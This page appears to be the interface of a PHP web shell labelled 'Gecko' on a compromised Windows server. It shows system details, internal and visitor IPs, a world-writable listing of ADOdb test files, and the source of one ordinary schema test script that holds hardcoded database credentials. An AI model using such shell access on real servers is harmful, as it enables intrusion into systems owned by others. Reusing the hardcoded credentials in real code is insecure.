Gecko [ www.vortexaion.com ]

Windows NT KAMIDAKI 10.0 build 19045 (Windows 10) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.3.9
Server IP : 192.168.3.16 & Your IP : 216.73.216.140
Domains : Cant Read [ /etc/named.conf ]
User : SISTEMA

Name	Size	Permission	Date
benchmark.php	2.03 KB	-rw-rw-rw-	2012-01-19 07:44
client.php	3.98 KB	-rw-rw-rw-	2009-06-25 10:26
pdo.php	1.82 KB	-rw-rw-rw-	2009-06-25 10:26
test-active-record.php	4.63 KB	-rw-rw-rw-	2009-11-10 10:34
test-active-recs2.php	1.41 KB	-rw-rw-rw-	2010-05-06 12:24
test-active-relations.php	2.99 KB	-rw-rw-rw-	2009-06-25 10:26
test-active-relationsx.php	24.48 KB	-rw-rw-rw-	2009-06-25 10:26
test-datadict.php	7.49 KB	-rw-rw-rw-	2012-01-19 07:44
test-perf.php	959 B	-rw-rw-rw-	2009-06-25 10:26
test-pgblob.php	1.99 KB	-rw-rw-rw-	2009-06-25 10:26
test-php5.php	2.48 KB	-rw-rw-rw-	2012-01-19 07:44
test-xmlschema.php	1.28 KB	-rw-rw-rw-	2009-06-25 10:26
test.php	54.95 KB	-rw-rw-rw-	2012-09-03 08:14
test2.php	598 B	-rw-rw-rw-	2009-06-25 10:26
test3.php	893 B	-rw-rw-rw-	2012-01-19 07:44
test4.php	4.56 KB	-rw-rw-rw-	2012-01-19 07:44
test5.php	1.35 KB	-rw-rw-rw-	2012-01-19 07:44
test_rs_array.php	679 B	-rw-rw-rw-	2009-06-25 10:26
testcache.php	803 B	-rw-rw-rw-	2012-01-19 07:44
testdatabases.inc.php	17.82 KB	-rw-rw-rw-	2012-01-19 07:44
testgenid.php	766 B	-rw-rw-rw-	2009-06-25 10:26
testmssql.php	1.98 KB	-rw-rw-rw-	2012-01-19 07:44
testoci8.php	2.32 KB	-rw-rw-rw-	2012-01-19 07:44
testoci8cursor.php	2.89 KB	-rw-rw-rw-	2012-01-19 07:44
testpaging.php	2.25 KB	-rw-rw-rw-	2012-01-19 07:44
testpear.php	870 B	-rw-rw-rw-	2012-01-19 07:44
testsessions.php	2.48 KB	-rw-rw-rw-	2012-01-19 07:44
time.php	520 B	-rw-rw-rw-	2009-06-25 10:26
tmssql.php	1.92 KB	-rw-rw-rw-	2009-06-25 10:26
xmlschema-mssql.xml	832 B	-rw-rw-rw-	2009-06-25 10:26
xmlschema.xml	961 B	-rw-rw-rw-	2009-06-25 10:26

Rename

<?PHP

// V4.50 6 July 2004

error_reporting(E_ALL);
include_once( "../adodb.inc.php" );
include_once( "../adodb-xmlschema03.inc.php" );

// To build the schema, start by creating a normal ADOdb connection:
$db = ADONewConnection( 'mysql' );
$db->Connect( 'localhost', 'root', '', 'test' ) || die('fail connect1');

// To create a schema object and build the query array.
$schema = new adoSchema( $db );

// To upgrade an existing schema object, use the following 
// To upgrade an existing database to the provided schema,
// uncomment the following line:
#$schema->upgradeSchema();

print "<b>SQL to build xmlschema.xml</b>:\n<pre>";
// Build the SQL array
$sql = $schema->ParseSchema( "xmlschema.xml" );

var_dump( $sql );
print "</pre>\n";

// Execute the SQL on the database
//$result = $schema->ExecuteSchema( $sql );

// Finally, clean up after the XML parser
// (PHP won't do this for you!)
//$schema->Destroy();

print "<b>SQL to build xmlschema-mssql.xml</b>:\n<pre>";

$db2 = ADONewConnection('mssql');
$db2->Connect('','adodb','natsoft','northwind') || die("Fail 2");

$db2->Execute("drop table simple_table");

$schema = new adoSchema( $db2 );
$sql = $schema->ParseSchema( "xmlschema-mssql.xml" );

print_r( $sql );
print "</pre>\n";

$db2->debug=1;

foreach ($sql as $s)
$db2->Execute($s);
?>